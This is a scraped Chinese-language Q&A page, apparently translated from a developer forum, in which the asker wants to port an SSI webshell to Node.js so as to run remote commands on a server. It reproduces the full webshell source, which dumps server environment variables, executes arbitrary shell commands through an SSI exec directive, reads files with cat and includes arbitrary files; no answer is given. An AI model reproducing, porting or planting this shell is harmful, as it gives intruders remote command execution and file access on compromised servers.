javascript - ssi webshell 到节点 js webshell
问题描述
如何将此 ssi webshell 代码转换为节点 js,以便我能够执行此服务器可以执行的远程命令 .shtml 。由于它是在节点 js 中编码的,因此不会执行 php 代码,但 UI 显示良好。 这是远程命令不起作用的屏幕截图
这是我目前在 .shtml 扩展名中使用的代码。我想在 .shtml 扩展名中的节点 js 代码中使用
<html>
<head>
<title>
S
</title>
<script language="javascript">
function fex()
{
document.location.href="<!--#echo var=DOCUMENT_NAME -->?"+document.getElementById('command').value;
}
function vfile()
{
document.location.href="<!--#echo var=DOCUMENT_NAME -->?cat "+document.getElementById('vfile').value;
}
</script>
</head>
<body bgcolor=#e4e0d8 alink=blue vlink=blue>
<div align=center width=100% border=0 style=background-color:#D4D0C8;>
<center><b><font size=+2><a href=http://github.com/>S</a></font></b></center>
</div>
<br>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<center><b><font size=+1>S info</font></b></center>
<br>
<b><font color=blue>GMT date</font></b>: <b><!--#echo var=DATE_GMT --></b><br>
<b><font color=blue>Local date</font></b>: <b><!--#echo var=DATE_LOCAL --></b><br>
<b><font color=blue>Document name</font></b>: <b><!--#echo var=DOCUMENT_NAME --></b><br>
<b><font color=blue>Document URI</font></b>: <b><!--#echo var=DOCUMENT_URI --></b><br>
<b><font color=blue>Last modified</font></b>: <b><!--#echo var=LAST_MODIFIED --></b><br>
<b><font color=blue>Owner</font></b>: <b><!--#echo var=USER_NAME --></b><br>
<br>
</div>
<br>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<center><b><font size=+1>Server info</font></b></center>
<br>
<pre>
<!--#printenv-->
</pre>
<br>
</div>
<br>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<center><b><font size=+1>Command for shell & address for inclusion</font></b></center>
<br>
<b><font color=blue>Enter command/address</font></b>: <input type=text size=80 id=command> <input type=button value=Run onclick=fex();>
<br>
</div>
<br>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<center><b><font size=+1>Shell</font></b></center>
<br>
<b><font color=blue>Executed command</font></b>: <b><!--#echo var=shl --></b><br>
<textarea bgcolor=#e4e0d8 cols=121 rows=15>
<!--#exec cmd=$shl -->
</textarea>
<br>
</div>
<br>
<div align=left width=100% border=0 style=background-color:#D4D0C8;>
<center><b><font size=+1>Operations on files</font></b></center>
<br>
<b><font color=blue>View file (cat)</font></b>: <input type=text size=80 id=vfile value=<!--#echo var=SCRIPT_FILENAME -->> <input type=button value=Run onclick=vfile();><br>
<b><font color=blue>Included file</font></b>: <b><!--#echo var=inc --></b><br>
<textarea bgcolor=#e4e0d8 cols=121 rows=15>
<!--#include virtual=$inc -->
</textarea>
<br>
</div>
<br>
<div align=center width=100% border=0 style=background-color:#D4D0C8;>
<center><b><font size=+1><a href=http://github.com>(c) :V ( :3 )</a></font></b><br><small>2009, v1.02<!--êîïèðàéò ïîìåíÿí â 2011 ;) --></small><br>
ONLY FOR EDUCATIONAL PURPOSES. .
</center>
</div>
</body>
</html>
解决方案
推荐阅读
- java - 在 JavaCode 中生成安全 SQL
- solr - 在 Solr 中转义特殊字符
- azure - 在 azure databricks 中读取包含带有镶木地板文件的子文件夹的文件夹时出错
- quarkus - quarkus mutiny rest 客户端上的错误处理
- javascript - 删除图表上部的未定义标签
- tfs - 手动测试执行结果在 TFS 中的测试计划下消失
- python - 处理日期时间
- postgresql - POSTGRESQL:不存在用 case 语句创建的列的问题
- linux - 切换到 linux,我的绘图板让我的日志文件失控
- entity-framework - 是否可以自动将 ADO.NET 查询结果具体化为嵌套对象结构?